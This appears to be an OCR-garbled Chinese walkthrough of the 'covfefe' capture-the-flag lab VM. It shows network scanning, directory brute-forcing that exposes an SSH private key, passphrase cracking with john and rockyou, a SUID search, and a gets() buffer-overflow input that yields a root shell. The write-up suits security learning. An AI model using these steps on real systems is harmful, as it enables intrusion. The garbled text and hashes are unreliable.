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F—F: SAERIpERN, BB E I EYLEMSH .. #0752 " " netdiscover - ip/netmask”

:~# netdiscover -r 192.168.2.1/24

root@kali: ~ e ® O

File Edit View Search Terminal Help
Currently scanning: Finished! | Screen View: Unique Hosts

:b8:88:21 ] 680 Phicomm (Shanghai) Co., Ltd.
: Th:d5: 97REHGC 650 vivo Mobile Communication Co
4:36:cB:a7:e4:27 650 Lenovo Mobile Communication
:31:43:a6 3 488 LCFC(HeFei) Electronics Tech
:31:43:a6 36 FC( i) Electronics Tech
:6b:2e:94 ' 3 PCS Systemtechnik GmbH
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:~# nmap -sV 192.168.2.142
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-12 18:46 EDT
Nmap scan report for covfefe.lan (192.168.2.142)
Host is up (0.00058s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4pl Debian 10 (protocol 2.0)

80/tcp open http nginx 1.10.3

31337/tcp open erkzeug httpd ©.11.15 (Python 3.5.3)
MAC Addr 08:00:27:6B:2E:94 (0Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap

/blog.csdn.ne
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404 Not Found - Mozilla Firefox e ® &

404 Not Found x |+

« d @ (D 192.168.2.142:31337 - @ 9 N @D

Not Found

The requested URL was not found on the server. If you entered the URL manually please check
your spelling and try again.


http://192.168.2.142:31337

DIRB w2.22
By The Dark Raver

START_TIME: Mon Aug 12 18:54:26 2019
URL_BASE: http://192.168.2.142:31337/
WORDLIST FILES: /fusr/share/dirb/wordlists/common.txt

GEMERATED WORDS: 4612

- Scanning URL: http://192.168.2.142:31337/ ----
http://192.168.2.142: .bash_histﬂry {CDDE:200|SIZE:19}
http://192.168.2.142: .bashrc {CDDE:209|SIZE:3526}
http://192.168.2.142: .profile (CODE:200|SIZE:675}
http://192.168.2.142: ’.ssh (CODE:200|SIZE:43)
http .142: robots.txt (CODE:280|SIZE:70)
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END TIME: Mon Aug 12 18:55:02 2019
DOWNLOADED: 4612 - FOUND: 5

TAIBME TN, BATRIEEH — A robots S, XA R robots B SCA ST, R4 R 51 B v I Iod i ) B¢
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192.168.2.142:31337robot= X | +

User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: ftaxes

AN "taxes" ST HE, mE:

192.168.2.142:31337robot= X | +

Mozilla Firefox e ® &
G @ @ 192.168.2.142:31337/robots.txt - @ 9 N O =
7itaxes/ e @ v iIN @O =

&« C @ @ 192.168.2.142:31

Good job! Here is a flag: flagl {make america great again}


https://baike.so.com/doc/4854891-5072162.html
http://192.168.2.142:31337/robots.txt
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192.168.2.142:31337/robot= X | 192.168.2.142:31337/ssh x | +

“ =2 C ® | ® 192.168.2.142:31337/.55h - O

In o

'id rsa', 'authorized keys', 'id rsa.pub']

BRI Rrsaf %], FAIEid_rsa’f’authorized_keys TEH TR (AEFETHAH)




BAHE T8 M SR B 1 L D EBRAE .

1t-shared- restart-vm-
ol tools

authorized_keys

hitpsy/blog.csdn.net/Kstheme

BFA1EFE — Fauthorized_keys 14

cat authorized_keys

cat authorized

BATR LA 4 Asimon
I, FiaitirsshiEs.

ssh -i id_rsa simon@192.168.2.142

ZRWNA:

WARNING: UNPROTECTED PRIVATE KEY FILE!

ible by others.

XU IRATId_rsaSCHF AR 18],  FRAIFF 46 Mid_rsa TR

6B Linuxchmod#i 4 X8 # 78

chmod abc file



https://www.runoob.com/linux/linux-comm-chmod.html

Herab,cEA—AEE, HHFE~RUser. Group. KOtherflIAFR

r=4, w=2, x=1

B rwxiE tEN4+2+1=7 ;
i Erw-JE P N4+2=6;
 Er-xEEN4+1=5,

BATHEK AT sshiEH :

Desktop# ssh -i id r imon@192.168.2.142

Enter pa Sfphldbc for

RIRE T EH, B CABAT 76 B — 2 R D

$EHE, BAEFkaliT Kssh2johnT B R i sshZ L

python /usr/share/john/ssh2john.py id_rsa > fuckyou

SR

ctop# python fusr/share/john/ssh2john.py id rsa > fuckyou
: op# ls
authorized fuckyou| id rsa mount-shared-folders restart-vm-tools

:~/Desktop# cat fuckyou
rsa:4$sshng$1$16$BD8515E8D3A10829A4D710D5AFAC64AB$12004$14263d0033562Taef4dab3T7bc11bo
48d5cca23b6e8b4bfdela79ta363b45b3d27ef961c3802ae8T578d03a8671b%a8601a24a23b7b138d677

367 Tee896633919Tdc93ae3e8273Th59%ata770T414051c241c04T04fa560593b620656chc931Ted7e74bT8
21d44997465c9T4c062a07 b89b44b2583d592934373b6a5e44298721cdfd73218e14c491aal55 2
8a76T3b02el17dd1168761 8927c08023e3dbfcd12f20390396c876b75
23cTc3904c713a69954bT35337Td8blcB8e5dcecd2f7eblcffe67TOTce2d5501546b9b124580fca74d5e460f
F9cbTed46c9303140T3e4955276ec9531d96c90a2t5875d541136Te5833c62a4b4ef9d6189c2ba98b834644e
298f9%eclebB2ce766c72b87eeBad9396d77abb30121445d2eeb2839e21b916ef02eb369bd1b09b3340c3
c@7bl0203d0a7078%aaf49faa942928fbe601e5e7606bbbb78T94e5de82ca%4b4aaldb63T4ee5cibadb3bC
31adZ2cc521917bzZee DBfBEZlad7d322461b947f1dca4ed51232199?5?b10b3 p2749fc7aal7b4f26
: 2678af675feb653c812at17e1b59dbb44984488b42743e8191ad41491T398fcC
)bPC9053594ﬁﬂ3COoﬁdCbS1?0?54d4?13119b?1ﬁd5f04fadD?f{C334453d5dE1f6fbu?ﬁ§50403593253{b;u
1?b14dfd50f1c9burcb1c446c9f0c51029d956Ldu3fd37a5d82f9b40aeldau5db7
2 Ze GcfSca2?25fod4f711?ad12635fdu£dd1dt_
bl1e576caB8473846364b9d799a94127a0tT18
bugbgchfb dD’b 2?045071bbﬁf7 d350cb953ﬁcd150'OD?bﬁDQSlQﬁO??ﬁSSfO'cc?'03a495?7uud0c

04fa4buwgf7cff4379141d6cchqudOOdbSCac1b00d?d0cd4d7cd544747d94f4d46dc0b29dc953
f299bf0ccdd9950faab309f60“bﬁc932514Pb0a50ac41fbacDdde1accpﬁc“fc?945ba56050109L
2133135cd15f1c@baadc364bebb44992cdb188928add751b5eeld4fd182297c79¢c39¢
2a4045623c3acb638a8463T0e50eeddas376T72bTf8b7729ddedfedbede762ebe
6515f3a1491966(9E4d015¢c6u153bcu01cbcbd29 ?79r1u2293b0c42r44’7144ff1?3uf673rd7’16190c9

385023cc5e5551Td7e7T9bd2348 ﬁ?ﬁ4a229443b091f5c1aﬁ?r0 fdl3dddgr4ﬁ’9429390t(99’
dl6cbcldc8db947be4134da9e8T12c8afT6b30b96d8 5f1094159305dd0d5b34r57c0966d?0 b8
9b30453d0787T348c1ld46bd2 r95f3f0b42fbfbr0bd1“9(32771ﬁ4faﬁfd04grg a3fas
14074bbc4771fdaf301862bdf5ab661b668 d3??d73244450bdDdd133r0fdrlaqﬂﬂ’
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zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules fuckyou

zcat E4E R i &
REEMS, LML NAHSEAT MmN,
johndir &fF F john --help EHEIH

BIESRWT:

:~/Desktop# zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules fuc
kyou
Using default input encoding: UTF-8
ed 1 password hash (55H [RSA/DSA/EC/OPENSSH (SS5H private keys) 32/64])

C 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is @ for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP thre
Mote: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press Ctrl-C to abort, or send SIGUSR1 to john process for statu
starwar i
starwar
starwar
starwar
starwar
starwar
starwar
starwars .

0:00:00:23 756137p/s 756137c/s 756137C/s Win3006.

ion aborted

wwmiwnwmninn

> free software;
d in the
individual files in fusr/share/doc/*/copyright.

ebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the
yermitted by applicable law.

ast login: Sun Aug 11 13:34:85 2019 from 192.168.2.14
Eimon@covfefe:~§ 2

FATRINFEN T #EHL.

ETREMNER - TLEXNERE

simon@covfefe:~$ pwd
/home/simon

#N/rootH
BE LH -

simon@covfefe:~$ cd /root
simon@covfefe:/root$ 1ls
flag.txt read_message.c
simon@covfefe:/root$ 1ls -1

1 root root 75 Jul 9 2017 flag.txt

-rw-r--r-- 1 root root 767 Jul 9 2017 read_message.c

BRAIRIL T flag, {HRAagXH-¥%F RiLEt:, {HRread_message.ciif RitEtt. FiLLBAIEE — T30tk



simon@covfefe:/root$ cat read message.c
#include <stdio.h>

#tinclude <stdlib.h>

Hinclude <unistd.h>  //iAFexecve()EEHI k3 1F

// You're getting close! Here's another flag:

// flag2{use the_ source_ luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];

char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, auth
orized);
exit(EXIT_FAILURE);

BATRIL T 58 =/ Mag.
T RBAVHRHAT I &, 2B RN — B FRAMSimondE AT X b, 25 % b A Zh AT execve ()i £ -
BATAR B0 7T LAR 3 Y, FRATAT LUIE #i >Rk 215 1 rootBUBR B 3%, A FI% R B .

AT E IR E A root IR i T

simon@covfefe:/root$ find / -perm -4000 2>/dev/null
/usr/bin/chsh

/usr/bin/passwd

/usr/bin/chfn

/usr/lib/dbus-1.0/dbus-daemon-1launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message

¥aRE: FELinuxrP IRYE SCIF R P B PR AT find 4K

FA K Plread_message £ rooth [}



https://blog.csdn.net/yttitan/article/details/73930244

%-t4, i8fTread_meassage.cit AT #E H IR

simon@covfefe: /root$
hat is your name?
Simon111111111111111/bin/sh
Hello Simonl111111111111111/bin/sh! Here is your message:

¢ sho™?
ho: not found

# Aroot, &H&flag
e

# cat flag.txt
You did it! Congratulations, here's the final flag:

flag3{das bof meister}
#
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